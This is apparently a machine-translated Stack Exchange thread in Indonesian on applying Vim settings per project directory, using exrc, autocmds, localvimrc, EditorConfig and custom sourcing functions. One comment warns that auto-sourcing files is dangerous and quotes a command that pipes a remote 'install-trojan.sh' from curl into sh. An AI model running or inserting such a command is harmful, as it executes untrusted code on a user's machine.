Menerapkan pengaturan ke pohon direktori saja

33

Di tempat kerja saya menggunakan standar ts2; preferensi pribadi saya adalah 4, yang merupakan apa yang saya gunakan untuk proyek hobi saya, dan proyek lain yang kami warisi ini memiliki konvensi ts=8.

Ada juga beberapa pengaturan lain yang ingin saya atur berdasarkan proyek (misalnya melipat). Mendasarkan pengaturan ini pada filetype atau secara otomatis mendeteksi mereka berdasarkan apa yang menggunakan file bukan pilihan yang baik, karena saya ingin menghormati konvensi masing-masing proyek.

Bisakah saya membuat Vim menggunakan file pengaturan yang berlaku untuk proyek (semua yang ada di pohon direktori) tanpa menambahkan modeline ke semua file?

Martin Tournoij
sumber

Jawaban:

19

Ada beberapa cara ringan untuk melakukan ini.

  1. Periksa file nama yang diberikan dan sumbernya

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    File disembunyikan dalam contoh tapi itu opsional.

  2. .vimrcFile lokal (tidak sama dengan plugin)

    set exrc
    

    Ini mirip dengan 1. tetapi file tersebut akan disebut ".vimrc".

    Saran umum untuk menemani ini adalah menggunakan

    set secure
    

    yang mencegah .vimrcfile melakukan hal-hal yang berpotensi berbahaya seperti menjalankan perintah shell. Idenya adalah Anda tidak ingin vim membaca .vimrcfile yang ditulis oleh orang lain yang melakukan sesuatu yang jahat.

  3. Perintah otomatis yang memeriksa jalur saat ini

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Ini adalah opsi yang saya gunakan. Saya tidak banyak berubah antara proyek yang berbeda jadi YMMV tetapi jika Anda hanya ingin melakukan satu atau dua hal berdasarkan path dan menyimpannya di Anda .vimrcini bagus dan sederhana.

Praxeolitic
sumber
Perhatikan bahwa opsi 1 dan 2 memiliki batasan yang sama seperti yang dijelaskan dalam komentar ini : opsi ini tidak berlaku untuk subdirektori.
15

Saya menggunakan localvimrc untuk tujuan ini.

Masukkan .lvimrcdengan pengaturan proyek Anda di dalam proyek Anda dan pengaturan ini akan menimpa pengaturan .vimrc.

Secara default, Anda akan ditanya apakah Anda ingin sumber file ini, misalnya:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Ini untuk mencegah sumber file vimrc acak (tidak dipercaya). Jika Anda merasa ini menjengkelkan, Anda dapat menyiapkan daftar putih .lvimrcfile dengan g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Atau Anda dapat menonaktifkan meminta konfirmasi sepenuhnya dengan set g:localvimrc_ask = 0. Ini tidak direkomendasikan.

OrangeTux
sumber
5

Konfigurasi pusat

Jika tidak apa-apa untuk mengkonfigurasi perintah khusus / pengecualian lokal secara terpusat, Anda dapat memasukkan autocmds tersebut ke ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Penting untuk digunakan :setlocalsebagai ganti :set, dan juga :map <buffer> ...dan :command! -buffer ....

Di sisi lain, jika Anda ingin konfigurasi khusus disimpan dengan proyek (dan tidak ingin menanamkan ini di semua file melalui modelines ), Anda memiliki dua opsi berikut:

Konfigurasi lokal dengan fungsionalitas bawaan

Jika Anda selalu memulai Vim dari direktori root proyek, bawaan

:set exrc

memungkinkan pembacaan .vimrcfile dari direktori saat ini. Anda dapat menempatkan :set ts=4 sw=4perintah di sana.

Konfigurasi lokal melalui plugin

Jika tidak, Anda memerlukan bantuan plugin; ada beberapa di vim.org; Saya dapat merekomendasikan plugin localrc , yang bahkan memungkinkan konfigurasi spesifik tipe file lokal.

Perhatikan bahwa membaca konfigurasi dari sistem file memiliki implikasi keamanan; Anda mungkin mau :set secure.

Ingo Karkat
sumber
2
Catatan yang .exrcsangat terbatas: gagasan proyek berhenti di direktori saat ini, yaitu file dalam subdirektori bukan milik proyek.
Luc Hermitte
4

Ada proyek Editor Config yang memungkinkan Anda untuk mendefinisikan konfigurasi tingkat proyek seperti pengaturan tabstop bersama dengan gaya garis baru dan hal-hal lainnya. Ada banyak plugging untuk semua jenis editor termasuk vim . Ini juga memungkinkan Anda untuk menentukan pengaturan untuk berbagai jenis file.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
PetersenDidIt
sumber
0

Saya menulis ini dan menambahkannya ke .vimrc saya untuk memungkinkan saya menempatkan file .vimsettings dalam proyek dan sub proyek.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
Kent A.
sumber
Walaupun ini berfungsi, ini bisa dianggap berbahaya karena Anda hanya mencari file, dan menjalankan semua perintah di dalamnya (termasuk perintah shell, seperti system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij
0

Saya ingin ini jadi saya hanya menerapkannya secara lokal. Saya tidak terlalu peduli dengan "mengeksekusi kode acak" tetapi ini dapat bekerja untuk kebutuhan sederhana. Sesuaikan nama file seperlunya.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Ini local.vimrcsebenarnya adalah symlink ke file dalam koleksi substansial saya file vimrc per-perusahaan yang dapat saya simpan dalam kontrol sumber di tempat lain, yang membuatnya mudah untuk memindahkan seluruh konfigurasi saya ke mesin lain atau jika saya mengunjungi perusahaan di tempat atau sesuatu . Konfigurasi Cascading dapat digunakan tetapi dalam praktiknya saya tidak memerlukan fungsionalitas itu. Saya juga memasang F8untuk membuka file yang ditemukan itu dan "utama" saya .vimrcdi tab baru ...

Di dalam konfigurasi lokal tersebut, karena diuraikan untuk setiap file yang dibuka, pastikan untuk mengatur pemetaan dan pengaturan Anda ke buffer-lokal. Misalnya

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
dash-tom-bang
sumber